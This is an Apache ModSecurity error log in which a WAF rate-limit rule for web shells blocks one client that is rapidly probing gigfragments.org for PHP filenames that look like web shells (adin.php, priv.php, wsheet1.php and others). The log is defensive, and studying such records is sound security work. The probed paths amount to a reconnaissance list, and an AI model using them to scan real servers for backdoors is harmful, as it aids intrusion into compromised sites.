[Wed Jan 07 00:17:20.025921 2026] [:error] [pid 35140:tid 35148] [client 20.196.88.169:11610] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adin.php"] [unique_id "aV01kHoQaIDFMbT-XMwI4gAAAQY"]
[Wed Jan 07 00:17:20.297163 2026] [:error] [pid 45959:tid 45974] [client 20.196.88.169:26869] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adin.php"] [unique_id "aV01kFajdn8P3hjgMYwy4AAAAUw"]
[Wed Jan 07 00:17:20.567178 2026] [:error] [pid 35140:tid 35160] [client 20.196.88.169:33765] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adin.php"] [unique_id "aV01kHoQaIDFMbT-XMwI5AAAARI"]
[Wed Jan 07 00:17:20.837780 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:16158] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/adin.php"] [unique_id "aV01kFajdn8P3hjgMYwy5QAAAUI"]
[Wed Jan 07 00:17:21.107403 2026] [:error] [pid 35140:tid 35146] [client 20.196.88.169:28309] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aV01kXoQaIDFMbT-XMwI5QAAAQQ"]
[Wed Jan 07 00:17:21.377384 2026] [:error] [pid 45012:tid 45023] [client 20.196.88.169:27441] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aV01kRaMAxCuju1d0uZCBgAAAMk"]
[Wed Jan 07 00:17:21.647520 2026] [:error] [pid 45959:tid 45981] [client 20.196.88.169:35420] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aV01kVajdn8P3hjgMYwy6QAAAVM"]
[Wed Jan 07 00:17:21.916841 2026] [:error] [pid 45012:tid 45028] [client 20.196.88.169:11624] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ifm.php"] [unique_id "aV01kRaMAxCuju1d0uZCBwAAAM4"]
[Wed Jan 07 00:17:22.187058 2026] [:error] [pid 45959:tid 45969] [client 20.196.88.169:18120] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bge.php"] [unique_id "aV01klajdn8P3hjgMYwy6gAAAUc"]
[Wed Jan 07 00:17:22.456932 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:16156] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bge.php"] [unique_id "aV01khaMAxCuju1d0uZCCAAAANQ"]
[Wed Jan 07 00:17:22.727031 2026] [:error] [pid 44905:tid 44984] [client 20.196.88.169:28358] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bge.php"] [unique_id "aV01kru7ufwWVst9EAsheQAAAJA"]
[Wed Jan 07 00:17:22.995693 2026] [:error] [pid 44905:tid 44978] [client 20.196.88.169:16176] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bge.php"] [unique_id "aV01kru7ufwWVst9EAshegAAAIo"]
[Wed Jan 07 00:17:23.265274 2026] [:error] [pid 45012:tid 45020] [client 20.196.88.169:16151] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aV01kxaMAxCuju1d0uZCCgAAAMY"]
[Wed Jan 07 00:17:23.536471 2026] [:error] [pid 44905:tid 44969] [client 20.196.88.169:11589] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aV01k7u7ufwWVst9EAshfQAAAIE"]
[Wed Jan 07 00:17:23.805681 2026] [:error] [pid 44903:tid 44909] [client 20.196.88.169:28350] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aV01k9hHqjs38zbkQPBRiQAAAAI"]
[Wed Jan 07 00:17:24.076518 2026] [:error] [pid 44903:tid 44918] [client 20.196.88.169:16162] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/blox.php"] [unique_id "aV01lNhHqjs38zbkQPBRiwAAAAs"]
[Wed Jan 07 00:17:24.346378 2026] [:error] [pid 45012:tid 45038] [client 20.196.88.169:18141] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aV01lBaMAxCuju1d0uZCDQAAANg"]
[Wed Jan 07 00:17:24.615609 2026] [:error] [pid 44903:tid 44917] [client 20.196.88.169:19816] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aV01lNhHqjs38zbkQPBRjAAAAAo"]
[Wed Jan 07 00:17:24.885259 2026] [:error] [pid 44903:tid 44927] [client 20.196.88.169:27400] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aV01lNhHqjs38zbkQPBRjQAAABQ"]
[Wed Jan 07 00:17:25.154222 2026] [:error] [pid 45012:tid 45018] [client 20.196.88.169:22770] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/az.php"] [unique_id "aV01lRaMAxCuju1d0uZCEQAAAMQ"]
[Wed Jan 07 00:17:25.423814 2026] [:error] [pid 44905:tid 44968] [client 20.196.88.169:22725] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x23.php"] [unique_id "aV01lbu7ufwWVst9EAshgQAAAIA"]
[Wed Jan 07 00:17:25.701134 2026] [:error] [pid 44904:tid 44958] [client 20.196.88.169:18159] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x23.php"] [unique_id "aV01lTtieuI1BJEZcvdrJQAAAFE"]
[Wed Jan 07 00:17:25.970660 2026] [:error] [pid 44905:tid 44977] [client 20.196.88.169:26859] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x23.php"] [unique_id "aV01lbu7ufwWVst9EAshggAAAIk"]
[Wed Jan 07 00:17:26.241514 2026] [:error] [pid 44904:tid 44960] [client 20.196.88.169:18144] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/x23.php"] [unique_id "aV01ljtieuI1BJEZcvdrJgAAAFM"]
[Wed Jan 07 00:17:26.514416 2026] [:error] [pid 45959:tid 45978] [client 20.196.88.169:11620] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aV01llajdn8P3hjgMYwy8AAAAVA"]
[Wed Jan 07 00:17:26.784852 2026] [:error] [pid 45012:tid 45033] [client 20.196.88.169:11600] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aV01lhaMAxCuju1d0uZCFQAAANM"]
[Wed Jan 07 00:17:27.055091 2026] [:error] [pid 44904:tid 44957] [client 20.196.88.169:16137] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aV01lztieuI1BJEZcvdrKgAAAFA"]
[Wed Jan 07 00:17:27.324688 2026] [:error] [pid 44903:tid 44908] [client 20.196.88.169:16128] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/xz89.php"] [unique_id "aV01l9hHqjs38zbkQPBRkAAAAAE"]
[Wed Jan 07 00:17:27.593938 2026] [:error] [pid 45012:tid 45017] [client 20.196.88.169:25984] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "aV01lxaMAxCuju1d0uZCGgAAAMM"]
[Wed Jan 07 00:17:27.863838 2026] [:error] [pid 44904:tid 44941] [client 20.196.88.169:35452] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "aV01lztieuI1BJEZcvdrLQAAAEA"]
[Wed Jan 07 00:17:28.133715 2026] [:error] [pid 45959:tid 45966] [client 20.196.88.169:26938] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "aV01mFajdn8P3hjgMYwy8QAAAUQ"]
[Wed Jan 07 00:17:28.405286 2026] [:error] [pid 45959:tid 45964] [client 20.196.88.169:16172] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wsheet1.php"] [unique_id "aV01mFajdn8P3hjgMYwy8wAAAUI"]
[Wed Jan 07 00:17:28.675268 2026] [:error] [pid 45012:tid 45038] [client 20.196.88.169:16155] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sao.php"] [unique_id "aV01mBaMAxCuju1d0uZCHAAAANg"]
[Wed Jan 07 00:17:28.962596 2026] [:error] [pid 44904:tid 44952] [client 20.196.88.169:16164] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sao.php"] [unique_id "aV01mDtieuI1BJEZcvdrLwAAAEs"]
[Wed Jan 07 00:17:29.231141 2026] [:error] [pid 45959:tid 45984] [client 20.196.88.169:6614] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sao.php"] [unique_id "aV01mVajdn8P3hjgMYwy9gAAAVY"]
[Wed Jan 07 00:17:29.501330 2026] [:error] [pid 44903:tid 44910] [client 20.196.88.169:25992] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sao.php"] [unique_id "aV01mdhHqjs38zbkQPBRlwAAAAM"]
[Wed Jan 07 00:17:29.787779 2026] [:error] [pid 45012:tid 45029] [client 20.196.88.169:19990] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoz.php"] [unique_id "aV01mRaMAxCuju1d0uZCIAAAAM8"]
[Wed Jan 07 00:17:30.056363 2026] [:error] [pid 45959:tid 45962] [client 20.196.88.169:27442] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoz.php"] [unique_id "aV01mlajdn8P3hjgMYwy-AAAAUA"]
[Wed Jan 07 00:17:30.328375 2026] [:error] [pid 45012:tid 45019] [client 20.196.88.169:12109] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoz.php"] [unique_id "aV01mhaMAxCuju1d0uZCJQAAAMU"]
[Wed Jan 07 00:17:30.597460 2026] [:error] [pid 35140:tid 35151] [client 20.196.88.169:13445] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/zoz.php"] [unique_id "aV01mnoQaIDFMbT-XMwI6wAAAQk"]
[Wed Jan 07 00:17:30.868793 2026] [:error] [pid 45012:tid 45023] [client 20.196.88.169:16170] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aV01mhaMAxCuju1d0uZCJgAAAMk"]
[Wed Jan 07 00:17:31.138716 2026] [:error] [pid 45959:tid 45970] [client 20.196.88.169:26032] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aV01m1ajdn8P3hjgMYwy-wAAAUg"]
[Wed Jan 07 00:17:31.407909 2026] [:error] [pid 35140:tid 35143] [client 20.196.88.169:27413] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aV01m3oQaIDFMbT-XMwI7QAAAQE"]
[Wed Jan 07 00:17:31.681418 2026] [:error] [pid 35140:tid 35162] [client 20.196.88.169:13487] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/priv.php"] [unique_id "aV01m3oQaIDFMbT-XMwI7gAAARQ"]
[Wed Jan 07 00:17:31.954208 2026] [:error] [pid 45959:tid 45983] [client 20.196.88.169:11597] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aV01m1ajdn8P3hjgMYwy_QAAAVU"]
[Wed Jan 07 00:17:32.230317 2026] [:error] [pid 45012:tid 45034] [client 20.196.88.169:19801] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aV01nBaMAxCuju1d0uZCKAAAANQ"]
[Wed Jan 07 00:17:32.506915 2026] [:error] [pid 45959:tid 45986] [client 20.196.88.169:11638] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aV01nFajdn8P3hjgMYwy_wAAAVg"]
[Wed Jan 07 00:17:32.776613 2026] [:error] [pid 44905:tid 44969] [client 20.196.88.169:28323] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/cwclass.php"] [unique_id "aV01nLu7ufwWVst9EAshigAAAIE"]
[Wed Jan 07 00:17:33.048040 2026] [:error] [pid 45012:tid 45017] [client 20.196.88.169:27438] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "aV01nRaMAxCuju1d0uZCKwAAAMM"]
[Wed Jan 07 00:17:33.319024 2026] [:error] [pid 45012:tid 45020] [client 20.196.88.169:18123] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "aV01nRaMAxCuju1d0uZCLAAAAMY"]
[Wed Jan 07 00:17:33.595800 2026] [:error] [pid 44904:tid 44964] [client 20.196.88.169:28302] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "aV01nTtieuI1BJEZcvdrMgAAAFc"]
[Wed Jan 07 00:17:33.865240 2026] [:error] [pid 35140:tid 35146] [client 20.196.88.169:35501] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/file30.php"] [unique_id "aV01nXoQaIDFMbT-XMwI8gAAAQQ"]
[Wed Jan 07 00:17:34.139167 2026] [:error] [pid 44904:tid 44956] [client 20.196.88.169:12138] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aV01njtieuI1BJEZcvdrMwAAAE8"]
[Wed Jan 07 00:17:34.407504 2026] [:error] [pid 45959:tid 45975] [client 20.196.88.169:19815] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aV01nlajdn8P3hjgMYwzAQAAAU0"]
[Wed Jan 07 00:17:34.676871 2026] [:error] [pid 45959:tid 45968] [client 20.196.88.169:28304] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aV01nlajdn8P3hjgMYwzAgAAAUY"]
[Wed Jan 07 00:17:34.949414 2026] [:error] [pid 45012:tid 45016] [client 20.196.88.169:27422] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ah24.php"] [unique_id "aV01nhaMAxCuju1d0uZCPAAAAMI"]
[Wed Jan 07 00:17:35.223364 2026] [:error] [pid 44905:tid 44977] [client 20.196.88.169:29076] [client 20.196.88.169] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/sko.php"] [unique_id "aV01n7u7ufwWVst9EAshowAAAIk"]
